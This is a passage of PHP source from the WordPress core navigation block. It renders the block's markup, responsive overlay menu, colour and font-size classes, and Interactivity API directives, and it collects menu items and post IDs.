) {
$inner_blocks = block_core_navigation_get_inner_blocks_from_unstable_location( $attributes );
}
// Load inner blocks from the navigation post.
if ( array_key_exists( 'ref', $attributes ) ) {
$inner_blocks = static::get_inner_blocks_from_navigation_post( $attributes );
}
// If there are no inner blocks then fallback to rendering an appropriate fallback.
if ( empty( $inner_blocks ) ) {
$inner_blocks = static::get_inner_blocks_from_fallback( $attributes );
}
/**
* Filter navigation block $inner_blocks.
* Allows modification of a navigation block menu items.
*
* @since 6.1.0
*
* @param \WP_Block_List $inner_blocks
*/
$inner_blocks = apply_filters( 'block_core_navigation_render_inner_blocks', $inner_blocks );
$post_ids = block_core_navigation_get_post_ids( $inner_blocks );
if ( $post_ids ) {
_prime_post_caches( $post_ids, false, false );
}
return $inner_blocks;
}
/**
* Gets the name of the current navigation, if it has one.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns the name of the navigation.
*/
private static function get_navigation_name( $attributes ) {
$navigation_name = $attributes['ariaLabel'] ?? '';
if ( ! empty( $navigation_name ) ) {
return $navigation_name;
}
// Load the navigation post.
if ( array_key_exists( 'ref', $attributes ) ) {
$navigation_post = get_post( $attributes['ref'] );
if ( ! isset( $navigation_post ) ) {
return $navigation_name;
}
// Only published posts are valid. If this is changed then a corresponding change
// must also be implemented in `use-navigation-menu.js`.
if ( 'publish' === $navigation_post->post_status ) {
return $navigation_post->post_title;
}
}
return $navigation_name;
}
/**
* Returns the layout class for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns the layout class for the navigation block.
*/
private static function get_layout_class( $attributes ) {
$layout_justification = array(
'left' => 'items-justified-left',
'right' => 'items-justified-right',
'center' => 'items-justified-center',
'space-between' => 'items-justified-space-between',
);
$layout_class = '';
if (
isset( $attributes['layout']['justifyContent'] ) &&
isset( $layout_justification[ $attributes['layout']['justifyContent'] ] )
) {
$layout_class .= $layout_justification[ $attributes['layout']['justifyContent'] ];
}
if ( isset( $attributes['layout']['orientation'] ) && 'vertical' === $attributes['layout']['orientation'] ) {
$layout_class .= ' is-vertical';
}
if ( isset( $attributes['layout']['flexWrap'] ) && 'nowrap' === $attributes['layout']['flexWrap'] ) {
$layout_class .= ' no-wrap';
}
return $layout_class;
}
/**
* Return classes for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns the classes for the navigation block.
*/
private static function get_classes( $attributes ) {
// Restore legacy classnames for submenu positioning.
$layout_class = static::get_layout_class( $attributes );
$colors = block_core_navigation_build_css_colors( $attributes );
$font_sizes = block_core_navigation_build_css_font_sizes( $attributes );
$is_responsive_menu = static::is_responsive( $attributes );
// Manually add block support text decoration as CSS class.
$text_decoration = $attributes['style']['typography']['textDecoration'] ?? null;
$text_decoration_class = sprintf( 'has-text-decoration-%s', $text_decoration );
$classes = array_merge(
$colors['css_classes'],
$font_sizes['css_classes'],
$is_responsive_menu ? array( 'is-responsive' ) : array(),
$layout_class ? array( $layout_class ) : array(),
$text_decoration ? array( $text_decoration_class ) : array()
);
return implode( ' ', $classes );
}
/**
* Get styles for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns the styles for the navigation block.
*/
private static function get_styles( $attributes ) {
$colors = block_core_navigation_build_css_colors( $attributes );
$font_sizes = block_core_navigation_build_css_font_sizes( $attributes );
$block_styles = $attributes['styles'] ?? '';
return $block_styles . $colors['inline_styles'] . $font_sizes['inline_styles'];
}
/**
* Get responsive container classes for the navigation block.
*
* @since 7.0.0
*
* @param bool $is_hidden_by_default Whether the responsive menu is hidden by default.
* @param bool $has_custom_overlay Whether a custom overlay is used.
* @param array $colors The colors array.
* @return array Returns the responsive container classes.
*/
private static function get_responsive_container_classes( $is_hidden_by_default, $has_custom_overlay, $colors ) {
$responsive_container_classes = array( 'wp-block-navigation__responsive-container' );
if ( $is_hidden_by_default ) {
$responsive_container_classes[] = 'hidden-by-default';
}
if ( $has_custom_overlay ) {
$responsive_container_classes[] = 'disable-default-overlay';
} else {
// Don't apply overlay color classes if using a custom overlay template part.
// The custom overlay is responsible for its own styling.
$responsive_container_classes[] = implode( ' ', $colors['overlay_css_classes'] );
}
return $responsive_container_classes;
}
/**
* Get overlay inline styles for the navigation block.
*
* @since 7.0.0
*
* @param array $colors The colors array.
* @return string Returns the overlay inline styles.
*/
private static function get_overlay_inline_styles( $has_custom_overlay, $colors ) {
$overlay_inline_styles = $has_custom_overlay ? '' : esc_attr( safecss_filter_attr( $colors['overlay_inline_styles'] ) );
return ( ! empty( $overlay_inline_styles ) ) ? "style=\"$overlay_inline_styles\"" : '';
}
/**
* Get the responsive container markup
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @param string $inner_blocks_html The markup for the inner blocks.
* @return string Returns the container markup.
*/
private static function get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html ) {
$is_interactive = static::is_interactive( $attributes, $inner_blocks );
$colors = block_core_navigation_build_css_colors( $attributes );
$modal_unique_id = wp_unique_id( 'modal-' );
$is_hidden_by_default = isset( $attributes['overlayMenu'] ) && 'always' === $attributes['overlayMenu'];
// Set-up variables for custom overlays.
$has_custom_overlay = false;
$close_button_markup = '';
$has_custom_overlay_close_block = false;
$overlay_blocks_html = '';
$custom_overlay_markup = '';
// Check if an overlay template part is selected and render it.
// This needs to happen before building classes so we know if overlay blocks actually exist.
if ( ! empty( $attributes['overlay'] ) ) {
// Get blocks from the overlay template part.
$overlay_blocks = static::get_overlay_blocks_from_template_part( $attributes['overlay'], $attributes );
// Render template part blocks directly without navigation container wrapper.
$overlay_blocks_html = static::get_template_part_blocks_html( $overlay_blocks );
// Check if overlay contains a navigation-overlay-close block (detect in rendered HTML so it works with patterns).
$has_custom_overlay_close_block = block_core_navigation_overlay_html_has_close_block( $overlay_blocks_html );
// Add Interactivity API directives to the overlay close block if present.
if ( $has_custom_overlay_close_block && $is_interactive ) {
$tags = new WP_HTML_Tag_Processor( $overlay_blocks_html );
$overlay_blocks_html = block_core_navigation_add_directives_to_overlay_close( $tags );
}
// Images in the overlay are hidden until the menu is opened. Pre-set
// fetchpriority="low" so that when wp_filter_content_tags() processes the
// parent template part, it sees the attribute already present and calls
// wp_get_loading_optimization_attributes() with fetchpriority="low", which both prevents
// fetchpriority="high" from being added and stops the LCP counter from being incremented.
$overlay_blocks_html = block_core_navigation_set_overlay_image_fetch_priority( $overlay_blocks_html );
}
$has_custom_overlay = ! empty( $overlay_blocks_html );
$responsive_container_classes = static::get_responsive_container_classes( $is_hidden_by_default, $has_custom_overlay, $colors );
$open_button_classes = array(
'wp-block-navigation__responsive-container-open',
$is_hidden_by_default ? 'always-shown' : '',
);
$should_display_icon_label = isset( $attributes['hasIcon'] ) && true === $attributes['hasIcon'];
$toggle_button_icon = '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 7.5h16v1.5H4z"></path><path d="M4 15h16v1.5H4z"></path></svg>';
if ( isset( $attributes['icon'] ) ) {
if ( 'menu' === $attributes['icon'] ) {
$toggle_button_icon = '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M5 5v1.5h14V5H5z"></path><path d="M5 12.8h14v-1.5H5v1.5z"></path><path d="M5 19h14v-1.5H5V19z"></path></svg>';
}
}
$toggle_button_content = $should_display_icon_label ? $toggle_button_icon : __( 'Menu' );
$toggle_close_button_icon = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"></path></svg>';
$toggle_close_button_content = $should_display_icon_label ? $toggle_close_button_icon : __( 'Close' );
$toggle_aria_label_open = $should_display_icon_label ? 'aria-label="' . __( 'Open menu' ) . '"' : ''; // Open button label.
$toggle_aria_label_close = $should_display_icon_label ? 'aria-label="' . __( 'Close menu' ) . '"' : ''; // Close button label.
// Add Interactivity API directives to the markup if needed.
$open_button_directives = '';
$responsive_container_directives = '';
$responsive_dialog_directives = '';
$close_button_directives = '';
if ( $is_interactive ) {
$open_button_directives = '
data-wp-on--click="actions.openMenuOnClick"
data-wp-on--keydown="actions.handleMenuKeydown"
';
$responsive_container_directives = '
data-wp-class--has-modal-open="state.isMenuOpen"
data-wp-class--is-menu-open="state.isMenuOpen"
data-wp-watch="callbacks.initMenu"
data-wp-on--keydown="actions.handleMenuKeydown"
data-wp-on--focusout="actions.handleMenuFocusout"
tabindex="-1"
';
$responsive_dialog_directives = '
data-wp-bind--aria-modal="state.ariaModal"
data-wp-bind--aria-label="state.ariaLabel"
data-wp-bind--role="state.roleAttribute"
';
$close_button_directives = '
data-wp-on--click="actions.closeMenuOnClick"
';
$responsive_container_content_directives = '
data-wp-watch="callbacks.focusFirstElement"
';
}
// Don't apply overlay inline styles if using a custom overlay template part.
// The custom overlay is responsible for its own styling.
$overlay_inline_styles = static::get_overlay_inline_styles( $has_custom_overlay, $colors );
if ( $has_custom_overlay ) {
$custom_overlay_markup = sprintf(
'<div class="wp-block-navigation__overlay-container">%s</div>',
$overlay_blocks_html
);
}
// Show default close button for all responsive navigation,
// unless custom overlay has its own close block.
if ( ! $has_custom_overlay_close_block ) {
$close_button_markup = sprintf(
'<button %1$s class="wp-block-navigation__responsive-container-close" %2$s>%3$s</button>',
$toggle_aria_label_close,
$close_button_directives,
$toggle_close_button_content
);
}
return sprintf(
'<button aria-haspopup="dialog" %3$s class="%6$s" %10$s>%8$s</button>
<div class="%5$s" %7$s id="%1$s" %11$s>
<div class="wp-block-navigation__responsive-close" tabindex="-1">
<div class="wp-block-navigation__responsive-dialog" %12$s>
%13$s
<div class="wp-block-navigation__responsive-container-content" %14$s id="%1$s-content">
%2$s
%15$s
</div>
</div>
</div>
</div>',
esc_attr( $modal_unique_id ),
$inner_blocks_html,
$toggle_aria_label_open,
$toggle_aria_label_close,
esc_attr( trim( implode( ' ', $responsive_container_classes ) ) ),
esc_attr( trim( implode( ' ', $open_button_classes ) ) ),
$overlay_inline_styles,
$toggle_button_content,
$toggle_close_button_content,
$open_button_directives,
$responsive_container_directives,
$responsive_dialog_directives,
$close_button_markup,
$responsive_container_content_directives,
$has_custom_overlay ? $custom_overlay_markup : ''
);
}
/**
* Get the wrapper attributes
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks A list of inner blocks.
* @return string Returns the navigation block markup.
*/
private static function get_nav_attributes( $attributes, $inner_blocks ) {
$is_interactive = static::is_interactive( $attributes, $inner_blocks );
$is_responsive_menu = static::is_responsive( $attributes );
$style = static::get_styles( $attributes );
$class = static::get_classes( $attributes );
$extra_attributes = array(
'class' => $class,
'style' => $style,
);
// Only add aria-label for top-level navigation blocks.
// Skip navigation blocks marked as being within overlay template parts.
$is_within_overlay = $attributes['_isWithinOverlayTemplatePart'] ?? false;
if ( $is_within_overlay ) {
$nav_menu_name = static::get_navigation_name( $attributes );
} else {
$nav_menu_name = static::get_unique_navigation_name( $attributes );
}
if ( ! empty( $nav_menu_name ) ) {
$extra_attributes['aria-label'] = $nav_menu_name;
}
$wrapper_attributes = get_block_wrapper_attributes( $extra_attributes );
if ( $is_responsive_menu ) {
$nav_element_directives = static::get_nav_element_directives( $is_interactive );
$wrapper_attributes .= ' ' . $nav_element_directives;
}
return $wrapper_attributes;
}
/**
* Gets the nav element directives.
*
* @since 6.5.0
*
* @param bool $is_interactive Whether the block is interactive.
* @return string the directives for the navigation element.
*/
private static function get_nav_element_directives( $is_interactive ) {
if ( ! $is_interactive ) {
return '';
}
// When adding to this array be mindful of security concerns.
$nav_element_context = wp_interactivity_data_wp_context(
array(
'overlayOpenedBy' => array(
'click' => false,
'hover' => false,
'focus' => false,
),
'type' => 'overlay',
'roleAttribute' => '',
'ariaLabel' => __( 'Menu' ),
)
);
$nav_element_directives = '
data-wp-interactive="core/navigation" '
. $nav_element_context;
return $nav_element_directives;
}
/**
* Handle view script module loading.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block $block The parsed block.
* @param WP_Block_List $inner_blocks The list of inner blocks.
*/
private static function handle_view_script_module_loading( $attributes, $block, $inner_blocks ) {
if ( static::is_interactive( $attributes, $inner_blocks ) ) {
wp_enqueue_script_module( '@wordpress/block-library/navigation/view' );
}
}
/**
* Returns the markup for the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param WP_Block_List $inner_blocks The list of inner blocks.
* @return string Returns the navigation wrapper markup.
*/
private static function get_inner_block_markup( $attributes, $inner_blocks ) {
$inner_blocks_html = static::get_inner_blocks_html( $attributes, $inner_blocks );
if ( static::is_responsive( $attributes ) ) {
return static::get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html );
}
return $inner_blocks_html;
}
/**
* Returns a unique name for the navigation.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return string Returns a unique name for the navigation.
*/
private static function get_unique_navigation_name( $attributes ) {
$nav_menu_name = static::get_navigation_name( $attributes );
// This is used to count the number of times a navigation name has been seen,
// so that we can ensure every navigation has a unique id.
if ( isset( static::$seen_menu_names[ $nav_menu_name ] ) ) {
++static::$seen_menu_names[ $nav_menu_name ];
} else {
static::$seen_menu_names[ $nav_menu_name ] = 1;
}
// If the menu name has been used previously then append an ID
// to the name to ensure uniqueness across a given post.
if ( isset( static::$seen_menu_names[ $nav_menu_name ] ) && static::$seen_menu_names[ $nav_menu_name ] > 1 ) {
$count = static::$seen_menu_names[ $nav_menu_name ];
$nav_menu_name = $nav_menu_name . ' ' . ( $count );
}
return $nav_menu_name;
}
/**
* Renders the navigation block.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @param string $content The saved content.
* @param WP_Block $block The parsed block.
* @return string Returns the navigation block markup.
*/
public static function render( $attributes, $content, $block ) {
/**
* Deprecated:
* The rgbTextColor and rgbBackgroundColor attributes
* have been deprecated in favor of
* customTextColor and customBackgroundColor ones.
* Move the values from old attrs to the new ones.
*/
if ( isset( $attributes['rgbTextColor'] ) && empty( $attributes['textColor'] ) ) {
$attributes['customTextColor'] = $attributes['rgbTextColor'];
}
if ( isset( $attributes['rgbBackgroundColor'] ) && empty( $attributes['backgroundColor'] ) ) {
$attributes['customBackgroundColor'] = $attributes['rgbBackgroundColor'];
}
unset( $attributes['rgbTextColor'], $attributes['rgbBackgroundColor'] );
$inner_blocks = static::get_inner_blocks( $attributes, $block );
// Prevent navigation blocks referencing themselves from rendering.
if ( block_core_navigation_block_tree_has_block_type(
$inner_blocks,
'core/navigation'
) ) {
return '';
}
static::handle_view_script_module_loading( $attributes, $block, $inner_blocks );
// Use div wrapper if this navigation block is within an overlay template part.
$is_within_overlay = $attributes['_isWithinOverlayTemplatePart'] ?? false;
$tag_name = $is_within_overlay ? 'div' : 'nav';
return sprintf(
'<%1$s %2$s>%3$s</%1$s>',
$tag_name,
static::get_nav_attributes( $attributes, $inner_blocks ),
static::get_inner_block_markup( $attributes, $inner_blocks )
);
}
}
// These functions are used for the __unstableLocation feature and only active
// when the gutenberg plugin is active.
if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) {
/**
* Returns the menu items for a WordPress menu location.
*
* @since 5.9.0
*
* @param string $location The menu location.
* @return array Menu items for the location.
*/
function block_core_navigation_get_menu_items_at_location( $location ) {
if ( empty( $location ) ) {
return;
}
// Build menu data. The following approximates the code in
// `wp_nav_menu()` and `gutenberg_output_block_nav_menu`.
// Find the location in the list of locations, returning early if the
// location can't be found.
$locations = get_nav_menu_locations();
if ( ! isset( $locations[ $location ] ) ) {
return;
}
// Get the menu from the location, returning early if there is no
// menu or there was an error.
$menu = wp_get_nav_menu_object( $locations[ $location ] );
if ( ! $menu || is_wp_error( $menu ) ) {
return;
}
$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) );
_wp_menu_item_classes_by_context( $menu_items );
return $menu_items;
}
/**
* Sorts a standard array of menu items into a nested structure keyed by the
* id of the parent menu.
*
* @since 5.9.0
*
* @param array $menu_items Menu items to sort.
* @return array An array keyed by the id of the parent menu where each element
* is an array of menu items that belong to that parent.
*/
function block_core_navigation_sort_menu_items_by_parent_id( $menu_items ) {
$sorted_menu_items = array();
foreach ( (array) $menu_items as $menu_item ) {
$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
}
unset( $menu_items, $menu_item );
$menu_items_by_parent_id = array();
foreach ( $sorted_menu_items as $menu_item ) {
$menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item;
}
return $menu_items_by_parent_id;
}
/**
* Gets the inner blocks for the navigation block from the unstable location attribute.
*
* @since 6.5.0
*
* @param array $attributes The block attributes.
* @return WP_Block_List Returns the inner blocks for the navigation block.
*/
function block_core_navigation_get_inner_blocks_from_unstable_location( $attributes ) {
$menu_items = block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] );
if ( empty( $menu_items ) ) {
return new WP_Block_List( array(), $attributes );
}
$menu_items_by_parent_id = block_core_navigation_sort_menu_items_by_parent_id( $menu_items );
$parsed_blocks = block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[0], $menu_items_by_parent_id );
return new WP_Block_List( $parsed_blocks, $attributes );
}
}
/**
* Checks if the overlay HTML contains a navigation-overlay-close block.
*
* Uses WP_HTML_Tag_Processor to detect the close button in rendered output,
* so it works when the overlay uses patterns (pattern content is rendered at
* output time, not in the block tree).
*
* @since 7.0.0
*
* @param string $html The rendered overlay HTML.
* @return bool True if a close button element is found.
*/
function block_core_navigation_overlay_html_has_close_block( $html ) {
$tags = new WP_HTML_Tag_Processor( $html );
return $tags->next_tag(
array(
'tag_name' => 'BUTTON',
'class_name' => 'wp-block-navigation-overlay-close',
)
);
}
/**
* Add Interactivity API directives to the navigation-overlay-close block
* markup using the Tag Processor.
*
* @since 6.5.0
*
* @param WP_HTML_Tag_Processor $tags Markup of the navigation block.
* @return string Overlay close markup with the directives injected.
*/
function block_core_navigation_add_directives_to_overlay_close( $tags ) {
// Find all navigation-overlay-close buttons.
while ( $tags->next_tag(
array(
'tag_name' => 'BUTTON',
'class_name' => 'wp-block-navigation-overlay-close',
)
) ) {
// Add the same close directive as the default close button.
$tags->set_attribute( 'data-wp-on--click', 'actions.closeMenuOnClick' );
}
return $tags->get_updated_html();
}
/**
* Sets fetchpriority="low" on all IMG tags within the navigation overlay.
*
* Images in the overlay are hidden until the menu is opened, so they should
* not compete with any actual LCP element image on the page.
*
* @since 7.0.0
*
* @param string $overlay_blocks_html The rendered HTML of the overlay blocks.
* @return string Modified HTML with fetchpriority="low" on all IMG tags.
*/
function block_core_navigation_set_overlay_image_fetch_priority( string $overlay_blocks_html ): string {
$tags = new WP_HTML_Tag_Processor( $overlay_blocks_html );
while ( $tags->next_tag( 'IMG' ) ) {
$tags->set_attribute( 'fetchpriority', 'low' );
}
return $tags->get_updated_html();
}
/**
* Add Interactivity API directives to the navigation-submenu and page-list
* blocks markup using the Tag Processor.
*
* @since 6.3.0
*
* @param WP_HTML_Tag_Processor $tags Markup of the navigation block.
* @param array $block_attributes Block attributes.
*
* @return string Submenu markup with the directives injected.
*/
function block_core_navigation_add_directives_to_submenu( $tags, $block_attributes ) {
while ( $tags->next_tag(
array(
'tag_name' => 'LI',
'class_name' => 'has-child',
)
) ) {
// Add directives to the parent `<li>`.
$tags->set_attribute( 'data-wp-interactive', 'core/navigation' );
$tags->set_attribute( 'data-wp-context', '{ "submenuOpenedBy": { "click": false, "hover": false, "focus": false }, "type": "submenu", "modal": null, "previousFocus": null }' );
$tags->set_attribute( 'data-wp-watch', 'callbacks.initMenu' );
$tags->set_attribute( 'data-wp-on--focusout', 'actions.handleMenuFocusout' );
$tags->set_attribute( 'data-wp-on--keydown', 'actions.handleMenuKeydown' );
// This is a fix for Safari. Without it, Safari doesn't change the active
// element when the user clicks on a button. It can be removed once we add
// an overlay to capture the clicks, instead of relying on the focusout
// event.
$tags->set_attribute( 'tabindex', '-1' );
$computed_visibility = block_core_navigation_get_submenu_visibility( $block_attributes );
$open_on_hover = 'hover' === $computed_visibility;
if ( $open_on_hover ) {
$tags->set_attribute( 'data-wp-on--pointerenter', 'actions.openMenuOnHover' );
$tags->set_attribute( 'data-wp-on--pointerleave', 'actions.closeMenuOnHover' );
}
// Add directives to the toggle submenu button.
if ( $tags->next_tag(
array(
'tag_name' => 'BUTTON',
'class_name' => 'wp-block-navigation-submenu__toggle',
)
) ) {
$tags->set_attribute( 'data-wp-on--click', 'actions.toggleMenuOnClick' );
$tags->set_attribute( 'data-wp-bind--aria-expanded', 'state.isMenuOpen' );
// The `aria-expanded` attribute for SSR is already added in the submenu block.
}
// Add directives to the submenu.
if ( $tags->next_tag(
array(
'tag_name' => 'UL',
'class_name' => 'wp-block-navigation__submenu-container',
)
) ) {
$tags->set_attribute( 'data-wp-on--focus', 'actions.openMenuOnFocus' );
}
// Iterate through subitems if exist.
block_core_navigation_add_directives_to_submenu( $tags, $block_attributes );
}
return $tags->get_updated_html();
}
/**
* Build an array with CSS classes and inline styles defining the colors
* which will be applied to the navigation markup in the front-end.
*
* @since 5.9.0
*
* @param array $attributes Navigation block attributes.
*
* @return array Colors CSS classes and inline styles.
*/
function block_core_navigation_build_css_colors( $attributes ) {
$colors = array(
'css_classes' => array(),
'inline_styles' => '',
'overlay_css_classes' => array(),
'overlay_inline_styles' => '',
);
// Text color.
$has_named_text_color = array_key_exists( 'textColor', $attributes );
$has_custom_text_color = array_key_exists( 'customTextColor', $attributes );
// If has text color.
if ( $has_custom_text_color || $has_named_text_color ) {
// Add has-text-color class.
$colors['css_classes'][] = 'has-text-color';
}
if ( $has_named_text_color ) {
// Add the color class.
$colors['css_classes'][] = sprintf( 'has-%s-color', $attributes['textColor'] );
} elseif ( $has_custom_text_color ) {
// Add the custom color inline style.
$colors['inline_styles'] .= sprintf( 'color: %s;', $attributes['customTextColor'] );
}
// Background color.
$has_named_background_color = array_key_exists( 'backgroundColor', $attributes );
$has_custom_background_color = array_key_exists( 'customBackgroundColor', $attributes );
// If has background color.
if ( $has_custom_background_color || $has_named_background_color ) {
// Add has-background class.
$colors['css_classes'][] = 'has-background';
}
if ( $has_named_background_color ) {
// Add the background-color class.
$colors['css_classes'][] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] );
} elseif ( $has_custom_background_color ) {
// Add the custom background-color inline style.
$colors['inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customBackgroundColor'] );
}
// Overlay text color.
$has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $attributes );
$has_custom_overlay_text_color = array_key_exists( 'customOverlayTextColor', $attributes );
// If has overlay text color.
if ( $has_custom_overlay_text_color || $has_named_overlay_text_color ) {
// Add has-text-color class.
$colors['overlay_css_classes'][] = 'has-text-color';
}
if ( $has_named_overlay_text_color ) {
// Add the overlay color class.
$colors['overlay_css_classes'][] = sprintf( 'has-%s-color', $attributes['overlayTextColor'] );
} elseif ( $has_custom_overlay_text_color ) {
// Add the custom overlay color inline style.
$colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $attributes['customOverlayTextColor'] );
}
// Overlay background color.
$has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $attributes );
$has_custom_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $attributes );
// If has overlay background color.
if ( $has_custom_overlay_background_color || $has_named_overlay_background_color ) {
// Add has-background class.
$colors['overlay_css_classes'][] = 'has-background';
}
if ( $has_named_overlay_background_color ) {
// Add the overlay background-color class.
$colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', $attributes['overlayBackgroundColor'] );
} elseif ( $has_custom_overlay_background_color ) {
// Add the custom overlay background-color inline style.
$colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customOverlayBackgroundColor'] );
}
return $colors;
}
/**
* Build an array with CSS classes and inline styles defining the font sizes
* which will be applied to the navigation markup in the front-end.
*
* @since 5.9.0
*
* @param array $attributes Navigation block attributes.
*
* @return array Font size CSS classes and inline styles.
*/
function block_core_navigation_build_css_font_sizes( $attributes ) {
// CSS classes.
$font_sizes = array(
'css_classes' => array(),
'inline_styles' => '',
);
$has_named_font_size = array_key_exists( 'fontSize', $attributes );
$has_custom_font_size = array_key_exists( 'customFontSize', $attributes );
if ( $has_named_font_size ) {
// Add the font size class.
$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $attributes['fontSize'] );
} elseif ( $has_custom_font_size ) {
// Add the custom font size inline style.
$font_sizes['inline_styles'] = sprintf( 'font-size: %spx;', $attributes['customFontSize'] );
}
return $font_sizes;
}
/**
* Returns the top-level submenu SVG chevron icon.
*
* @since 5.9.0
*
* @return string
*/
function block_core_navigation_render_submenu_icon() {
return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>';
}
/**
* Filter out empty "null" blocks from the block list.
* 'parse_blocks' includes a null block with '\n\n' as the content when
* it encounters whitespace. This is not a bug but rather how the parser
* is designed.
*
* @since 5.9.0
*
* @param array $parsed_blocks the parsed blocks to be normalized.
* @return array the normalized parsed blocks.
*/
function block_core_navigation_filter_out_empty_blocks( $parsed_blocks ) {
$filtered = array_filter(
$parsed_blocks,
static function ( $block ) {
return isset( $block['blockName'] );
}
);
// Reset keys.
return array_values( $filtered );
}
/**
* Recursively checks if blocks contain a specific block type.
*
* @since 7.0.0
*
* @param WP_Block_List $blocks The list of blocks to check.
* @param string $block_type The block type to search for (e.g., 'core/navigation').
* @param array $skip_block_types Optional. Block types to skip when recursing. Default empty array.
* @return bool Returns true if the specified block type is found.
*/
function block_core_navigation_block_tree_has_block_type( $blocks, $block_type, $skip_block_types = array() ) {
if ( empty( $blocks ) ) {
return false;
}
foreach ( $blocks as $block ) {
if ( $block_type === $block->name ) {
return true;
}
// Recursively check inner blocks, skipping specified block types.
if ( ! in_array( $block->name, $skip_block_types, true ) && ! empty( $block->inner_blocks ) ) {
if ( block_core_navigation_block_tree_has_block_type( $block->inner_blocks, $block_type, $skip_block_types ) ) {
return true;
}
}
}
return false;
}
/**
* Returns true if the navigation block contains a nested navigation block.
*
* @since 6.2.0
* @deprecated 7.0.0 Use block_core_navigation_block_tree_has_block_type() instead.
*
* @param WP_Block_List $inner_blocks Inner block instance to be normalized.
* @return bool true if the navigation block contains a nested navigation block.
*/
function block_core_navigation_block_contains_core_navigation( $inner_blocks ) {
_deprecated_function( __FUNCTION__, '7.0.0', 'block_core_navigation_block_tree_has_block_type()' );
return block_core_navigation_block_tree_has_block_type(
$inner_blocks,
'core/navigation'
);
}
/**
* Retrieves the appropriate fallback to be used on the front of the
* site when there is no menu assigned to the Nav block.
*
* This aims to mirror how the fallback mechanic for wp_nav_menu works.
* See https://developer.wordpress.org/reference/functions/wp_nav_menu/#more-information.
*
* @since 5.9.0
*
* @return array the array of blocks to be used as a fallback.
*/
function block_core_navigation_get_fallback_blocks() {
$page_list_fallback = array(
array(
'blockName' => 'core/page-list',
'innerContent' => array(),
'attrs' => array(),
),
);
$registry = WP_Block_Type_Registry::get_instance();
// If `core/page-list` is not registered then return empty blocks.
$fallback_blocks = $registry->is_registered( 'core/page-list' ) ? $page_list_fallback : array();
$navigation_post = WP_Navigation_Fallback::get_fallback();
// Use the first non-empty Navigation as fallback if available.
if ( $navigation_post ) {
$parsed_blocks = parse_blocks( $navigation_post->post_content );
$maybe_fallback = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );
// Normalizing blocks may result in an empty array of blocks if they were all `null` blocks.
// In this case default to the (Page List) fallback.
$fallback_blocks = ! empty( $maybe_fallback ) ? $maybe_fallback : $fallback_blocks;
// Run Block Hooks algorithm to inject hooked blocks.
// We have to run it here because we need the post ID of the Navigation block to track ignored hooked blocks.
// TODO: See if we can move the apply_block_hooks_to_content_from_post_object() call
// before the parse_blocks() call further above, to avoid the extra serialization/parsing.
$markup = serialize_blocks( $fallback_blocks );
$markup = apply_block_hooks_to_content_from_post_object( $markup, $navigation_post );
$fallback_blocks = parse_blocks( $markup );
}
/**
* Filters the fallback experience for the Navigation block.
*
* Returning a falsey value will opt out of the fallback and cause the block not to render.
* To customise the blocks provided return an array of blocks - these should be valid
* children of the `core/navigation` block.
*
* @since 5.9.0
*
* @param array[] $fallback_blocks default fallback blocks provided by the default block mechanic.
*/
return apply_filters( 'block_core_navigation_render_fallback', $fallback_blocks );
}
/**
* Iterate through all inner blocks recursively and get navigation link block's post IDs.
*
* @since 6.0.0
*
* @param WP_Block_List $inner_blocks Block list class instance.
*
* @return array Array of post IDs.
*/
function block_core_navigation_get_post_ids( $inner_blocks ) {
$post_ids = array_map( 'block_core_navigation_from_block_get_post_ids', iterator_to_array( $inner_blocks ) );
return array_unique( array_merge( ...$post_ids ) );
}
/**
* Get post IDs from a navigation link block instance.
*
* @since 6.0.0
*
* @param WP_Block $block Instance of a block.
*
* @return array Array of post IDs.
*/
function block_core_navigation_from_block_get_post_ids( $block ) {
$post_ids = array();
if ( $block->inner_blocks ) {
$post_ids = block_core_navigation_get_post_ids( $block->inner_blocks );
}
if ( 'core/navigation-link' === $block->name || 'core/navigation-submenu' === $block->name ) {
if ( $block->attributes && isset( $block->attributes['kind'] ) && 'post-type' === $block->attributes['kind'] && isset( $block->attributes['id'] ) ) {
$post_ids[] = $block->attributes['id'];
}
}
return $post_ids;
}
/**
* Renders the `core/navigation` block on server.
*
